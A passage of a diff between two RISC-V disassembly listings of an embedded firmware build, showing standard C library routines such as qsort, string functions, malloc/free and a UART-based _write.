-204032f2:	ec2d                	bnez	s0,2040336c <qsort+0x204>
-204032f4:	ed9d70e3          	bgeu	s10,s9,204031b4 <qsort+0x4c>
-204032f8:	846a                	mv	s0,s10
-204032fa:	a0ad                	j	20403364 <qsort+0x1fc>
-204032fc:	86ce                	mv	a3,s3
-204032fe:	865a                	mv	a2,s6
-20403300:	85a6                	mv	a1,s1
-20403302:	855e                	mv	a0,s7
-20403304:	33f1                	jal	204030d0 <swapfunc>
-20403306:	b7c5                	j	204032e6 <qsort+0x17e>
-20403308:	85ca                	mv	a1,s2
-2040330a:	855e                	mv	a0,s7
-2040330c:	9a02                	jalr	s4
-2040330e:	416b87b3          	sub	a5,s7,s6
-20403312:	c63e                	sw	a5,12(sp)
-20403314:	fc0550e3          	bgez	a0,204032d4 <qsort+0x16c>
-20403318:	00098863          	beqz	s3,20403328 <qsort+0x1c0>
-2040331c:	86ce                	mv	a3,s3
-2040331e:	865a                	mv	a2,s6
-20403320:	85de                	mv	a1,s7
-20403322:	8562                	mv	a0,s8
-20403324:	3375                	jal	204030d0 <swapfunc>
-20403326:	a809                	j	20403338 <qsort+0x1d0>
-20403328:	000ba603          	lw	a2,0(s7)
-2040332c:	000c2683          	lw	a3,0(s8)
-20403330:	00cc2023          	sw	a2,0(s8)
-20403334:	00dba023          	sw	a3,0(s7)
-20403338:	4bb2                	lw	s7,12(sp)
-2040333a:	bf9d                	j	204032b0 <qsort+0x148>
-2040333c:	86ce                	mv	a3,s3
-2040333e:	865a                	mv	a2,s6
-20403340:	85a6                	mv	a1,s1
-20403342:	8522                	mv	a0,s0
-20403344:	3371                	jal	204030d0 <swapfunc>
-20403346:	a831                	j	20403362 <qsort+0x1fa>
-20403348:	416404b3          	sub	s1,s0,s6
-2040334c:	85a2                	mv	a1,s0
-2040334e:	8526                	mv	a0,s1
-20403350:	9a02                	jalr	s4
-20403352:	00a05b63          	blez	a0,20403368 <qsort+0x200>
-20403356:	fe0993e3          	bnez	s3,2040333c <qsort+0x1d4>
-2040335a:	4094                	lw	a3,0(s1)
-2040335c:	4018                	lw	a4,0(s0)
-2040335e:	c014                	sw	a3,0(s0)
-20403360:	c098                	sw	a4,0(s1)
-20403362:	8426                	mv	s0,s1
-20403364:	fe8962e3          	bltu	s2,s0,20403348 <qsort+0x1e0>
-20403368:	9d5a                	add	s10,s10,s6
-2040336a:	b769                	j	204032f4 <qsort+0x18c>
-2040336c:	41bc0d33          	sub	s10,s8,s11
-20403370:	412d8633          	sub	a2,s11,s2
-20403374:	00cd5363          	bge	s10,a2,2040337a <qsort+0x212>
-20403378:	866a                	mv	a2,s10
-2040337a:	c611                	beqz	a2,20403386 <qsort+0x21e>
-2040337c:	86ce                	mv	a3,s3
-2040337e:	40cc05b3          	sub	a1,s8,a2
-20403382:	854a                	mv	a0,s2
-20403384:	33b1                	jal	204030d0 <swapfunc>
-20403386:	409c8633          	sub	a2,s9,s1
-2040338a:	41748bb3          	sub	s7,s1,s7
-2040338e:	41660633          	sub	a2,a2,s6
-20403392:	00cbf363          	bgeu	s7,a2,20403398 <qsort+0x230>
-20403396:	865e                	mv	a2,s7
-20403398:	c611                	beqz	a2,204033a4 <qsort+0x23c>
-2040339a:	86ce                	mv	a3,s3
-2040339c:	40cc85b3          	sub	a1,s9,a2
-204033a0:	8562                	mv	a0,s8
-204033a2:	333d                	jal	204030d0 <swapfunc>
-204033a4:	84ea                	mv	s1,s10
-204033a6:	417c8533          	sub	a0,s9,s7
-204033aa:	017d7763          	bgeu	s10,s7,204033b8 <qsort+0x250>
-204033ae:	874a                	mv	a4,s2
-204033b0:	84de                	mv	s1,s7
-204033b2:	892a                	mv	s2,a0
-204033b4:	8bea                	mv	s7,s10
-204033b6:	853a                	mv	a0,a4
-204033b8:	057b7363          	bgeu	s6,s7,204033fe <qsort+0x296>
-204033bc:	479d                	li	a5,7
-204033be:	036bd5b3          	divu	a1,s7,s6
-204033c2:	0157ef63          	bltu	a5,s5,204033e0 <qsort+0x278>
-204033c6:	003a9713          	slli	a4,s5,0x3
-204033ca:	089c                	addi	a5,sp,80
-204033cc:	973e                	add	a4,a4,a5
-204033ce:	fd272023          	sw	s2,-64(a4)
-204033d2:	0a85                	addi	s5,s5,1
-204033d4:	0364d4b3          	divu	s1,s1,s6
-204033d8:	fc972223          	sw	s1,-60(a4)
-204033dc:	892a                	mv	s2,a0
-204033de:	b3c1                	j	2040319e <qsort+0x36>
-204033e0:	86d2                	mv	a3,s4
-204033e2:	865a                	mv	a2,s6
-204033e4:	3351                	jal	20403168 <qsort>
-204033e6:	009b6e63          	bltu	s6,s1,20403402 <qsort+0x29a>
-204033ea:	1afd                	addi	s5,s5,-1
-204033ec:	003a9713          	slli	a4,s5,0x3
-204033f0:	089c                	addi	a5,sp,80
-204033f2:	973e                	add	a4,a4,a5
-204033f4:	fc072503          	lw	a0,-64(a4)
-204033f8:	fc472583          	lw	a1,-60(a4)
-204033fc:	b7c5                	j	204033dc <qsort+0x274>
-204033fe:	da9b7be3          	bgeu	s6,s1,204031b4 <qsort+0x4c>
-20403402:	0364d5b3          	divu	a1,s1,s6
-20403406:	854a                	mv	a0,s2
-20403408:	bfd1                	j	204033dc <qsort+0x274>
+20402338 <_write>:
+20402338:	1141                	addi	sp,sp,-16
+2040233a:	c422                	sw	s0,8(sp)
+2040233c:	c226                	sw	s1,4(sp)
+2040233e:	c606                	sw	ra,12(sp)
+20402340:	842e                	mv	s0,a1
+20402342:	84b2                	mv	s1,a2
+20402344:	2939                	jal	20402762 <isatty>
+20402346:	c121                	beqz	a0,20402386 <_write+0x4e>
+20402348:	85a2                	mv	a1,s0
+2040234a:	00940733          	add	a4,s0,s1
+2040234e:	100137b7          	lui	a5,0x10013
+20402352:	46a9                	li	a3,10
+20402354:	4635                	li	a2,13
+20402356:	00e59863          	bne	a1,a4,20402366 <_write+0x2e>
+2040235a:	40b2                	lw	ra,12(sp)
+2040235c:	4422                	lw	s0,8(sp)
+2040235e:	8526                	mv	a0,s1
+20402360:	4492                	lw	s1,4(sp)
+20402362:	0141                	addi	sp,sp,16
+20402364:	8082                	ret
+20402366:	4388                	lw	a0,0(a5)
+20402368:	fe054fe3          	bltz	a0,20402366 <_write+0x2e>
+2040236c:	0005c503          	lbu	a0,0(a1)
+20402370:	c388                	sw	a0,0(a5)
+20402372:	0005c503          	lbu	a0,0(a1)
+20402376:	00d51663          	bne	a0,a3,20402382 <_write+0x4a>
+2040237a:	4388                	lw	a0,0(a5)
+2040237c:	fe054fe3          	bltz	a0,2040237a <_write+0x42>
+20402380:	c390                	sw	a2,0(a5)
+20402382:	0585                	addi	a1,a1,1
+20402384:	bfc9                	j	20402356 <_write+0x1e>
+20402386:	54fd                	li	s1,-1
+20402388:	bfc9                	j	2040235a <_write+0x22>
 
-2040340a <siprintf>:
-2040340a:	7135                	addi	sp,sp,-160
-2040340c:	cb3e                	sw	a5,148(sp)
-2040340e:	800007b7          	lui	a5,0x80000
-20403412:	fff7c793          	not	a5,a5
-20403416:	ce3e                	sw	a5,28(sp)
-20403418:	c83e                	sw	a5,16(sp)
-2040341a:	77c1                	lui	a5,0xffff0
-2040341c:	c532                	sw	a2,136(sp)
-2040341e:	c736                	sw	a3,140(sp)
-20403420:	c42a                	sw	a0,8(sp)
-20403422:	cc2a                	sw	a0,24(sp)
-20403424:	20878793          	addi	a5,a5,520 # ffff0208 <_heap_end+0x7ffe1a08>
-20403428:	0134                	addi	a3,sp,136
-2040342a:	862e                	mv	a2,a1
-2040342c:	80c1a503          	lw	a0,-2036(gp) # 8000d87c <_impure_ptr>
-20403430:	002c                	addi	a1,sp,8
-20403432:	de86                	sw	ra,124(sp)
-20403434:	ca3e                	sw	a5,20(sp)
-20403436:	c93a                	sw	a4,144(sp)
-20403438:	cd42                	sw	a6,152(sp)
-2040343a:	cf46                	sw	a7,156(sp)
-2040343c:	c236                	sw	a3,4(sp)
-2040343e:	29f000ef          	jal	ra,20403edc <_svfiprintf_r>
-20403442:	47a2                	lw	a5,8(sp)
-20403444:	00078023          	sb	zero,0(a5)
-20403448:	50f6                	lw	ra,124(sp)
-2040344a:	610d                	addi	sp,sp,160
-2040344c:	8082                	ret
+2040238a <atexit>:
+2040238a:	85aa                	mv	a1,a0
+2040238c:	4681                	li	a3,0
+2040238e:	4601                	li	a2,0
+20402390:	4501                	li	a0,0
+20402392:	a93d                	j	204027d0 <__register_exitproc>
 
-2040344e <strcmp>:
-2040344e:	00054603          	lbu	a2,0(a0)
-20403452:	0005c683          	lbu	a3,0(a1)
-20403456:	0505                	addi	a0,a0,1
-20403458:	0585                	addi	a1,a1,1
-2040345a:	00d61363          	bne	a2,a3,20403460 <strcmp+0x12>
-2040345e:	fa65                	bnez	a2,2040344e <strcmp>
-20403460:	40d60533          	sub	a0,a2,a3
-20403464:	8082                	ret
+20402394 <__libc_fini_array>:
+20402394:	1141                	addi	sp,sp,-16
+20402396:	c422                	sw	s0,8(sp)
+20402398:	c226                	sw	s1,4(sp)
+2040239a:	fffff417          	auipc	s0,0xfffff
+2040239e:	4d640413          	addi	s0,s0,1238 # 20401870 <exit>
+204023a2:	fffff497          	auipc	s1,0xfffff
+204023a6:	4ce48493          	addi	s1,s1,1230 # 20401870 <exit>
+204023aa:	8c05                	sub	s0,s0,s1
+204023ac:	c606                	sw	ra,12(sp)
+204023ae:	8409                	srai	s0,s0,0x2
+204023b0:	e411                	bnez	s0,204023bc <__libc_fini_array+0x28>
+204023b2:	40b2                	lw	ra,12(sp)
+204023b4:	4422                	lw	s0,8(sp)
+204023b6:	4492                	lw	s1,4(sp)
+204023b8:	0141                	addi	sp,sp,16
+204023ba:	8082                	ret
+204023bc:	147d                	addi	s0,s0,-1
+204023be:	00241793          	slli	a5,s0,0x2
+204023c2:	97a6                	add	a5,a5,s1
+204023c4:	439c                	lw	a5,0(a5)
+204023c6:	9782                	jalr	a5
+204023c8:	b7e5                	j	204023b0 <__libc_fini_array+0x1c>
 
-20403466 <strcpy>:
-20403466:	87aa                	mv	a5,a0
-20403468:	0005c703          	lbu	a4,0(a1)
-2040346c:	0785                	addi	a5,a5,1
-2040346e:	0585                	addi	a1,a1,1
-20403470:	fee78fa3          	sb	a4,-1(a5)
-20403474:	fb75                	bnez	a4,20403468 <strcpy+0x2>
-20403476:	8082                	ret
+204023ca <__libc_init_array>:
+204023ca:	1141                	addi	sp,sp,-16
+204023cc:	c422                	sw	s0,8(sp)
+204023ce:	c226                	sw	s1,4(sp)
+204023d0:	fffff417          	auipc	s0,0xfffff
+204023d4:	4a040413          	addi	s0,s0,1184 # 20401870 <exit>
+204023d8:	fffff497          	auipc	s1,0xfffff
+204023dc:	49848493          	addi	s1,s1,1176 # 20401870 <exit>
+204023e0:	8c81                	sub	s1,s1,s0
+204023e2:	c04a                	sw	s2,0(sp)
+204023e4:	c606                	sw	ra,12(sp)
+204023e6:	8489                	srai	s1,s1,0x2
+204023e8:	4901                	li	s2,0
+204023ea:	02991563          	bne	s2,s1,20402414 <__libc_init_array+0x4a>
+204023ee:	fffff417          	auipc	s0,0xfffff
+204023f2:	48240413          	addi	s0,s0,1154 # 20401870 <exit>
+204023f6:	fffff497          	auipc	s1,0xfffff
+204023fa:	47a48493          	addi	s1,s1,1146 # 20401870 <exit>
+204023fe:	8c81                	sub	s1,s1,s0
+20402400:	8489                	srai	s1,s1,0x2
+20402402:	4901                	li	s2,0
+20402404:	00991d63          	bne	s2,s1,2040241e <__libc_init_array+0x54>
+20402408:	40b2                	lw	ra,12(sp)
+2040240a:	4422                	lw	s0,8(sp)
+2040240c:	4492                	lw	s1,4(sp)
+2040240e:	4902                	lw	s2,0(sp)
+20402410:	0141                	addi	sp,sp,16
+20402412:	8082                	ret
+20402414:	401c                	lw	a5,0(s0)
+20402416:	0905                	addi	s2,s2,1
+20402418:	0411                	addi	s0,s0,4
+2040241a:	9782                	jalr	a5
+2040241c:	b7f9                	j	204023ea <__libc_init_array+0x20>
+2040241e:	401c                	lw	a5,0(s0)
+20402420:	0905                	addi	s2,s2,1
+20402422:	0411                	addi	s0,s0,4
+20402424:	9782                	jalr	a5
+20402426:	bff9                	j	20402404 <__libc_init_array+0x3a>
 
-20403478 <strlen>:
-20403478:	87aa                	mv	a5,a0
-2040347a:	0007c703          	lbu	a4,0(a5)
-2040347e:	0785                	addi	a5,a5,1
-20403480:	ff6d                	bnez	a4,2040347a <strlen+0x2>
-20403482:	40a78533          	sub	a0,a5,a0
-20403486:	157d                	addi	a0,a0,-1
-20403488:	8082                	ret
+20402428 <malloc>:
+20402428:	85aa                	mv	a1,a0
+2040242a:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+2040242e:	a8d5                	j	20402522 <_malloc_r>
 
-2040348a <strncpy>:
-2040348a:	87aa                	mv	a5,a0
-2040348c:	ca09                	beqz	a2,2040349e <strncpy+0x14>
-2040348e:	0005c703          	lbu	a4,0(a1)
-20403492:	0585                	addi	a1,a1,1
-20403494:	0785                	addi	a5,a5,1
-20403496:	fee78fa3          	sb	a4,-1(a5)
-2040349a:	167d                	addi	a2,a2,-1
-2040349c:	fb65                	bnez	a4,2040348c <strncpy+0x2>
-2040349e:	963e                	add	a2,a2,a5
-204034a0:	00c79363          	bne	a5,a2,204034a6 <strncpy+0x1c>
-204034a4:	8082                	ret
-204034a6:	0785                	addi	a5,a5,1
-204034a8:	fe078fa3          	sb	zero,-1(a5)
-204034ac:	bfd5                	j	204034a0 <strncpy+0x16>
+20402430 <free>:
+20402430:	85aa                	mv	a1,a0
+20402432:	8141a503          	lw	a0,-2028(gp) # 8000d874 <_impure_ptr>
+20402436:	a0b9                	j	20402484 <_free_r>
 
-204034ae <strnlen>:
-204034ae:	95aa                	add	a1,a1,a0
-204034b0:	87aa                	mv	a5,a0
-204034b2:	00b78563          	beq	a5,a1,204034bc <strnlen+0xe>
-204034b6:	0007c703          	lbu	a4,0(a5)
-204034ba:	e701                	bnez	a4,204034c2 <strnlen+0x14>
-204034bc:	40a78533          	sub	a0,a5,a0
-204034c0:	8082                	ret
-204034c2:	0785                	addi	a5,a5,1
-204034c4:	b7fd                	j	204034b2 <strnlen+0x4>
+20402438 <memcpy>:
+20402438:	832a                	mv	t1,a0
+2040243a:	ca09                	beqz	a2,2040244c <memcpy+0x14>
+2040243c:	00058383          	lb	t2,0(a1)
+20402440:	00730023          	sb	t2,0(t1)
+20402444:	167d                	addi	a2,a2,-1
+20402446:	0305                	addi	t1,t1,1
+20402448:	0585                	addi	a1,a1,1
+2040244a:	fa6d                	bnez	a2,2040243c <memcpy+0x4>
+2040244c:	8082                	ret
 
-204034c6 <strrchr>:
-204034c6:	e18d                	bnez	a1,204034e8 <strrchr+0x22>
-204034c8:	4460106f          	j	2040490e <strchr>
-204034cc:	00150793          	addi	a5,a0,1
-204034d0:	84aa                	mv	s1,a0
-204034d2:	85a2                	mv	a1,s0
-204034d4:	853e                	mv	a0,a5
-204034d6:	438010ef          	jal	ra,2040490e <strchr>
-204034da:	f96d                	bnez	a0,204034cc <strrchr+0x6>
-204034dc:	40b2                	lw	ra,12(sp)
-204034de:	4422                	lw	s0,8(sp)
-204034e0:	8526                	mv	a0,s1
-204034e2:	4492                	lw	s1,4(sp)
-204034e4:	0141                	addi	sp,sp,16
-204034e6:	8082                	ret
-204034e8:	1141                	addi	sp,sp,-16
-204034ea:	c422                	sw	s0,8(sp)
-204034ec:	c226                	sw	s1,4(sp)
-204034ee:	c606                	sw	ra,12(sp)
-204034f0:	87aa                	mv	a5,a0
-204034f2:	842e                	mv	s0,a1
-204034f4:	4481                	li	s1,0
-204034f6:	bff1                	j	204034d2 <strrchr+0xc>
+2040244e <memmove>:
+2040244e:	c215                	beqz	a2,20402472 <memmove+0x24>
+20402450:	832a                	mv	t1,a0
+20402452:	4685                	li	a3,1
+20402454:	00b56763          	bltu	a0,a1,20402462 <memmove+0x14>
+20402458:	56fd                	li	a3,-1
+2040245a:	fff60713          	addi	a4,a2,-1
+2040245e:	933a                	add	t1,t1,a4
+20402460:	95ba                	add	a1,a1,a4
+20402462:	00058383          	lb	t2,0(a1)
+20402466:	00730023          	sb	t2,0(t1)
+2040246a:	167d                	addi	a2,a2,-1
+2040246c:	9336                	add	t1,t1,a3
+2040246e:	95b6                	add	a1,a1,a3
+20402470:	fa6d                	bnez	a2,20402462 <memmove+0x14>
+20402472:	8082                	ret
 
-204034f8 <strtok>:
-204034f8:	1101                	addi	sp,sp,-32
-204034fa:	ca26                	sw	s1,20(sp)
-204034fc:	80c1a483          	lw	s1,-2036(gp) # 8000d87c <_impure_ptr>
-20403500:	4cbc                	lw	a5,88(s1)
-20403502:	cc22                	sw	s0,24(sp)
-20403504:	ce06                	sw	ra,28(sp)
-20403506:	842a                	mv	s0,a0
-20403508:	efb1                	bnez	a5,20403564 <strtok+0x6c>
-2040350a:	05000513          	li	a0,80
-2040350e:	c62e                	sw	a1,12(sp)
-20403510:	75e000ef          	jal	ra,20403c6e <malloc>
-20403514:	45b2                	lw	a1,12(sp)
-20403516:	cca8                	sw	a0,88(s1)
-20403518:	00052023          	sw	zero,0(a0)
-2040351c:	00052223          	sw	zero,4(a0)
-20403520:	00052423          	sw	zero,8(a0)
-20403524:	00052623          	sw	zero,12(a0)
-20403528:	00052823          	sw	zero,16(a0)
-2040352c:	00052a23          	sw	zero,20(a0)
-20403530:	00052c23          	sw	zero,24(a0)
-20403534:	02052423          	sw	zero,40(a0)
-20403538:	02052623          	sw	zero,44(a0)
-2040353c:	02052823          	sw	zero,48(a0)
-20403540:	02052a23          	sw	zero,52(a0)
-20403544:	02052c23          	sw	zero,56(a0)
-20403548:	02052e23          	sw	zero,60(a0)
-2040354c:	04052023          	sw	zero,64(a0)
-20403550:	04052223          	sw	zero,68(a0)
-20403554:	04052423          	sw	zero,72(a0)
-20403558:	04052623          	sw	zero,76(a0)
-2040355c:	00050e23          	sb	zero,28(a0)
-20403560:	02052223          	sw	zero,36(a0)
-20403564:	8522                	mv	a0,s0
-20403566:	4462                	lw	s0,24(sp)
-20403568:	4cb0                	lw	a2,88(s1)
-2040356a:	40f2                	lw	ra,28(sp)
-2040356c:	44d2                	lw	s1,20(sp)
-2040356e:	4685                	li	a3,1
-20403570:	6105                	addi	sp,sp,32
-20403572:	a009                	j	20403574 <__strtok_r>
+20402474 <memset>:
+20402474:	832a                	mv	t1,a0
+20402476:	c611                	beqz	a2,20402482 <memset+0xe>
+20402478:	00b30023          	sb	a1,0(t1)
+2040247c:	167d                	addi	a2,a2,-1
+2040247e:	0305                	addi	t1,t1,1
+20402480:	fe65                	bnez	a2,20402478 <memset+0x4>
+20402482:	8082                	ret
 
-20403574 <__strtok_r>:
-20403574:	e119                	bnez	a0,2040357a <__strtok_r+0x6>
-20403576:	4208                	lw	a0,0(a2)
-20403578:	c939                	beqz	a0,204035ce <__strtok_r+0x5a>
-2040357a:	87aa                	mv	a5,a0
-2040357c:	853e                	mv	a0,a5
-2040357e:	0007c803          	lbu	a6,0(a5)
-20403582:	0785                	addi	a5,a5,1
-20403584:	872e                	mv	a4,a1
-20403586:	00074883          	lbu	a7,0(a4)
-2040358a:	0705                	addi	a4,a4,1
-2040358c:	00089863          	bnez	a7,2040359c <__strtok_r+0x28>
-20403590:	02081063          	bnez	a6,204035b0 <__strtok_r+0x3c>
-20403594:	00062023          	sw	zero,0(a2)
-20403598:	4501                	li	a0,0
-2040359a:	8082                	ret
-2040359c:	ff1815e3          	bne	a6,a7,20403586 <__strtok_r+0x12>
-204035a0:	fef1                	bnez	a3,2040357c <__strtok_r+0x8>
-204035a2:	c21c                	sw	a5,0(a2)
-204035a4:	00050023          	sb	zero,0(a0)
-204035a8:	8082                	ret
-204035aa:	4781                	li	a5,0
-204035ac:	a839                	j	204035ca <__strtok_r+0x56>
-204035ae:	e689                	bnez	a3,204035b8 <__strtok_r+0x44>
-204035b0:	0007c803          	lbu	a6,0(a5)
-204035b4:	0785                	addi	a5,a5,1
-204035b6:	872e                	mv	a4,a1
-204035b8:	00074683          	lbu	a3,0(a4)
-204035bc:	0705                	addi	a4,a4,1
-204035be:	fed818e3          	bne	a6,a3,204035ae <__strtok_r+0x3a>
-204035c2:	fe0804e3          	beqz	a6,204035aa <__strtok_r+0x36>
-204035c6:	fe078fa3          	sb	zero,-1(a5)
-204035ca:	c21c                	sw	a5,0(a2)
-204035cc:	8082                	ret
-204035ce:	8082                	ret
+20402484 <_free_r>:
+20402484:	cdd1                	beqz	a1,20402520 <_free_r+0x9c>
+20402486:	ffc5a783          	lw	a5,-4(a1)
+2040248a:	1101                	addi	sp,sp,-32
+2040248c:	cc22                	sw	s0,24(sp)
+2040248e:	ce06                	sw	ra,28(sp)
+20402490:	ffc58413          	addi	s0,a1,-4
+20402494:	0007d363          	bgez	a5,2040249a <_free_r+0x16>
+20402498:	943e                	add	s0,s0,a5
+2040249a:	c62a                	sw	a0,12(sp)
+2040249c:	2d59                	jal	20402b32 <__malloc_lock>
+2040249e:	81818713          	addi	a4,gp,-2024 # 8000d878 <__malloc_free_list>
+204024a2:	431c                	lw	a5,0(a4)
+204024a4:	4532                	lw	a0,12(sp)
+204024a6:	eb81                	bnez	a5,204024b6 <_free_r+0x32>
+204024a8:	00042223          	sw	zero,4(s0)
+204024ac:	c300                	sw	s0,0(a4)
+204024ae:	4462                	lw	s0,24(sp)
+204024b0:	40f2                	lw	ra,28(sp)
+204024b2:	6105                	addi	sp,sp,32
+204024b4:	a541                	j	20402b34 <__malloc_unlock>
+204024b6:	00f47d63          	bgeu	s0,a5,204024d0 <_free_r+0x4c>
+204024ba:	4010                	lw	a2,0(s0)
+204024bc:	00c406b3          	add	a3,s0,a2
+204024c0:	00d79663          	bne	a5,a3,204024cc <_free_r+0x48>
+204024c4:	4394                	lw	a3,0(a5)
+204024c6:	43dc                	lw	a5,4(a5)
+204024c8:	96b2                	add	a3,a3,a2
+204024ca:	c014                	sw	a3,0(s0)
+204024cc:	c05c                	sw	a5,4(s0)
+204024ce:	bff9                	j	204024ac <_free_r+0x28>
+204024d0:	873e                	mv	a4,a5
+204024d2:	43dc                	lw	a5,4(a5)
+204024d4:	c399                	beqz	a5,204024da <_free_r+0x56>
+204024d6:	fef47de3          	bgeu	s0,a5,204024d0 <_free_r+0x4c>
+204024da:	4314                	lw	a3,0(a4)
+204024dc:	00d70633          	add	a2,a4,a3
+204024e0:	00861f63          	bne	a2,s0,204024fe <_free_r+0x7a>
+204024e4:	4010                	lw	a2,0(s0)
+204024e6:	96b2                	add	a3,a3,a2
+204024e8:	c314                	sw	a3,0(a4)
+204024ea:	00d70633          	add	a2,a4,a3
+204024ee:	fcc790e3          	bne	a5,a2,204024ae <_free_r+0x2a>
+204024f2:	4390                	lw	a2,0(a5)
+204024f4:	43dc                	lw	a5,4(a5)
+204024f6:	96b2                	add	a3,a3,a2
+204024f8:	c314                	sw	a3,0(a4)
+204024fa:	c35c                	sw	a5,4(a4)
+204024fc:	bf4d                	j	204024ae <_free_r+0x2a>
+204024fe:	00c47563          	bgeu	s0,a2,20402508 <_free_r+0x84>
+20402502:	47b1                	li	a5,12
+20402504:	c11c                	sw	a5,0(a0)
+20402506:	b765                	j	204024ae <_free_r+0x2a>
+20402508:	4010                	lw	a2,0(s0)
+2040250a:	00c406b3          	add	a3,s0,a2
+2040250e:	00d79663          	bne	a5,a3,2040251a <_free_r+0x96>
+20402512:	4394                	lw	a3,0(a5)
+20402514:	43dc                	lw	a5,4(a5)
+20402516:	96b2                	add	a3,a3,a2
+20402518:	c014                	sw	a3,0(s0)
+2040251a:	c05c                	sw	a5,4(s0)
+2040251c:	c340                	sw	s0,4(a4)
+2040251e:	bf41                	j	204024ae <_free_r+0x2a>
+20402520:	8082                	ret
 
-204035d0 <_strtoull_l.constprop.0>:
-204035d0:	7179                	addi	sp,sp,-48
-204035d2:	d226                	sw	s1,36(sp)
-204035d4:	d04a                	sw	s2,32(sp)
-204035d6:	ca56                	sw	s5,20(sp)
-204035d8:	c85a                	sw	s6,16(sp)
-204035da:	c65e                	sw	s7,12(sp)
-204035dc:	8936                	mv	s2,a3
-204035de:	d606                	sw	ra,44(sp)
-204035e0:	d422                	sw	s0,40(sp)
-204035e2:	ce4e                	sw	s3,28(sp)
-204035e4:	cc52                	sw	s4,24(sp)
-204035e6:	c462                	sw	s8,8(sp)
-204035e8:	c266                	sw	s9,4(sp)
-204035ea:	8baa                	mv	s7,a0
-204035ec:	8aae                	mv	s5,a1
-204035ee:	8b32                	mv	s6,a2
-204035f0:	84ae                	mv	s1,a1
-204035f2:	00002697          	auipc	a3,0x2
-204035f6:	7f768693          	addi	a3,a3,2039 # 20405de9 <_ctype_+0x1>
-204035fa:	8726                	mv	a4,s1
-204035fc:	0004c403          	lbu	s0,0(s1)
-20403600:	0485                	addi	s1,s1,1
-20403602:	00d407b3          	add	a5,s0,a3
-20403606:	0007c783          	lbu	a5,0(a5)
-2040360a:	8ba1                	andi	a5,a5,8
-2040360c:	f7fd                	bnez	a5,204035fa <_strtoull_l.constprop.0+0x2a>
-2040360e:	02d00793          	li	a5,45
-20403612:	0cf41163          	bne	s0,a5,204036d4 <_strtoull_l.constprop.0+0x104>
-20403616:	0004c403          	lbu	s0,0(s1)
-2040361a:	4c05                	li	s8,1
-2040361c:	00270493          	addi	s1,a4,2
-20403620:	14090263          	beqz	s2,20403764 <_strtoull_l.constprop.0+0x194>
-20403624:	47c1                	li	a5,16
-20403626:	02f91263          	bne	s2,a5,2040364a <_strtoull_l.constprop.0+0x7a>
-2040362a:	03000793          	li	a5,48
-2040362e:	00f41e63          	bne	s0,a5,2040364a <_strtoull_l.constprop.0+0x7a>
-20403632:	0004c783          	lbu	a5,0(s1)
-20403636:	05800713          	li	a4,88
-2040363a:	0df7f793          	andi	a5,a5,223
-2040363e:	10e79d63          	bne	a5,a4,20403758 <_strtoull_l.constprop.0+0x188>
-20403642:	0014c403          	lbu	s0,1(s1)
-20403646:	4941                	li	s2,16
-20403648:	0489                	addi	s1,s1,2
-2040364a:	41f95c93          	srai	s9,s2,0x1f
-2040364e:	864a                	mv	a2,s2
-20403650:	86e6                	mv	a3,s9
-20403652:	557d                	li	a0,-1
-20403654:	55fd                	li	a1,-1
-20403656:	de8ff0ef          	jal	ra,20402c3e <__udivdi3>
-2040365a:	86e6                	mv	a3,s9
-2040365c:	8a2a                	mv	s4,a0
-2040365e:	89ae                	mv	s3,a1
-20403660:	864a                	mv	a2,s2
-20403662:	557d                	li	a0,-1
-20403664:	55fd                	li	a1,-1
-20403666:	071010ef          	jal	ra,20404ed6 <__umoddi3>
-2040366a:	86aa                	mv	a3,a0
-2040366c:	4701                	li	a4,0
-2040366e:	4501                	li	a0,0
-20403670:	4581                	li	a1,0
-20403672:	48a5                	li	a7,9
-20403674:	4865                	li	a6,25
-20403676:	fd040793          	addi	a5,s0,-48
-2040367a:	06f8e763          	bltu	a7,a5,204036e8 <_strtoull_l.constprop.0+0x118>
-2040367e:	843e                	mv	s0,a5
-20403680:	09245463          	bge	s0,s2,20403708 <_strtoull_l.constprop.0+0x138>
-20403684:	08074063          	bltz	a4,20403704 <_strtoull_l.constprop.0+0x134>
-20403688:	06b9ee63          	bltu	s3,a1,20403704 <_strtoull_l.constprop.0+0x134>
-2040368c:	01359463          	bne	a1,s3,20403694 <_strtoull_l.constprop.0+0xc4>
-20403690:	06aa6a63          	bltu	s4,a0,20403704 <_strtoull_l.constprop.0+0x134>
-20403694:	00aa1763          	bne	s4,a0,204036a2 <_strtoull_l.constprop.0+0xd2>
-20403698:	00b99563          	bne	s3,a1,204036a2 <_strtoull_l.constprop.0+0xd2>
-2040369c:	577d                	li	a4,-1
-2040369e:	0286c763          	blt	a3,s0,204036cc <_strtoull_l.constprop.0+0xfc>
-204036a2:	02ac8733          	mul	a4,s9,a0
-204036a6:	032587b3          	mul	a5,a1,s2
-204036aa:	02a90633          	mul	a2,s2,a0
-204036ae:	00f705b3          	add	a1,a4,a5
-204036b2:	4705                	li	a4,1
-204036b4:	02a937b3          	mulhu	a5,s2,a0
-204036b8:	00c40533          	add	a0,s0,a2
-204036bc:	95be                	add	a1,a1,a5
-204036be:	41f45793          	srai	a5,s0,0x1f
-204036c2:	97ae                	add	a5,a5,a1
-204036c4:	00853433          	sltu	s0,a0,s0
-204036c8:	00f405b3          	add	a1,s0,a5
-204036cc:	0485                	addi	s1,s1,1
-204036ce:	fff4c403          	lbu	s0,-1(s1)
-204036d2:	b755                	j	20403676 <_strtoull_l.constprop.0+0xa6>
-204036d4:	02b00793          	li	a5,43
-204036d8:	4c01                	li	s8,0
-204036da:	f4f413e3          	bne	s0,a5,20403620 <_strtoull_l.constprop.0+0x50>
-204036de:	0004c403          	lbu	s0,0(s1)
-204036e2:	00270493          	addi	s1,a4,2
-204036e6:	bf2d                	j	20403620 <_strtoull_l.constprop.0+0x50>
-204036e8:	fbf40793          	addi	a5,s0,-65
-204036ec:	00f86563          	bltu	a6,a5,204036f6 <_strtoull_l.constprop.0+0x126>
-204036f0:	fc940413          	addi	s0,s0,-55
-204036f4:	b771                	j	20403680 <_strtoull_l.constprop.0+0xb0>
-204036f6:	f9f40793          	addi	a5,s0,-97
-204036fa:	00f86763          	bltu	a6,a5,20403708 <_strtoull_l.constprop.0+0x138>
-204036fe:	fa940413          	addi	s0,s0,-87
-20403702:	bfbd                	j	20403680 <_strtoull_l.constprop.0+0xb0>
-20403704:	577d                	li	a4,-1
-20403706:	b7d9                	j	204036cc <_strtoull_l.constprop.0+0xfc>
-20403708:	02075763          	bgez	a4,20403736 <_strtoull_l.constprop.0+0x166>
-2040370c:	02200793          	li	a5,34
-20403710:	00fba023          	sw	a5,0(s7)
-20403714:	557d                	li	a0,-1
